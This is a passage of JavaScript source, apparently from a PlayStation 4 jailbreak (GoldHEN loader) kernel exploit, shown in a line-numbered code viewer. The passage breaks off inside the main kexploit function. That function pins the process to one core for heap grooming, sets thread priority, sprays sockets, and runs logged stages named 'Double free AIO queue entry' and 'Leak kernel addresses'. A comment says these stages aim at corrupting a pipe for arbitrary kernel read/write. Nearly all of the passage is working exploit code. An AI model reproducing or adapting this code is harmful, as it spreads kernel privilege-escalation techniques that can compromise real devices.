()
| 1684 | // * corrupt a pipe for arbitrary r/w |
| 1685 | // |
| 1686 | // the exploit implementation also assumes that we are pinned to one core |
| 1687 | export async function kexploit() { |
| 1688 | const _init_t1 = performance.now(); |
| 1689 | await init(); |
| 1690 | const _init_t2 = performance.now(); |
| 1691 | |
| 1692 | try { |
| 1693 | chain.sys('setuid', 0); |
| 1694 | } catch (e) { |
| 1695 | localStorage.ExploitLoaded = "no"; |
| 1696 | } |
| 1697 | |
| 1698 | if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded != "yes") { |
| 1699 | msgs.innerHTML = "GoldHEN is Already Loaded ..."; |
| 1700 | return new Promise(() => {}); |
| 1701 | } |
| 1702 | |
| 1703 | // fun fact: |
| 1704 | // if the first thing you do since boot is run the web browser, WebKit can |
| 1705 | // use all the cores |
| 1706 | const main_mask = new Long(); |
| 1707 | get_our_affinity(main_mask); |
| 1708 | log(`main_mask: ${main_mask}`); |
| 1709 | |
| 1710 | // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap |
| 1711 | // spraying and grooming easier |
| 1712 | log(`pinning process to core #${main_core}`); |
| 1713 | set_our_affinity(new Long(1 << main_core)); |
| 1714 | get_our_affinity(main_mask); |
| 1715 | log(`main_mask: ${main_mask}`); |
| 1716 | |
| 1717 | log("setting main thread's priority"); |
| 1718 | sysi('rtprio_thread', RTP_SET, 0, rtprio.addr); |
| 1719 | |
| 1720 | const [block_fd, unblock_fd] = (() => { |
| 1721 | const unix_pair = new View4(2); |
| 1722 | sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr); |
| 1723 | return unix_pair; |
| 1724 | })(); |
| 1725 | |
| 1726 | const sds = []; |
| 1727 | for (let i = 0; i < num_sds; i++) { |
| 1728 | sds.push(new_socket()); |
| 1729 | } |
| 1730 | |
| 1731 | let block_id = null; |
| 1732 | let groom_ids = null; |
| 1733 | |
| 1734 | try { |
| 1735 | log('STAGE: Setup'); |
| 1736 | [block_id, groom_ids] = setup(block_fd); |
| 1737 | |
| 1738 | log('\nSTAGE: Double free AIO queue entry'); |
| 1739 | const sd_pair = double_free_reqs2(sds); |
| 1740 | |
| 1741 | log('\nSTAGE: Leak kernel addresses'); |
| 1742 | const [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,] = leak_kernel_addrs(sd_pair); |
| 1743 |
no test coverage detected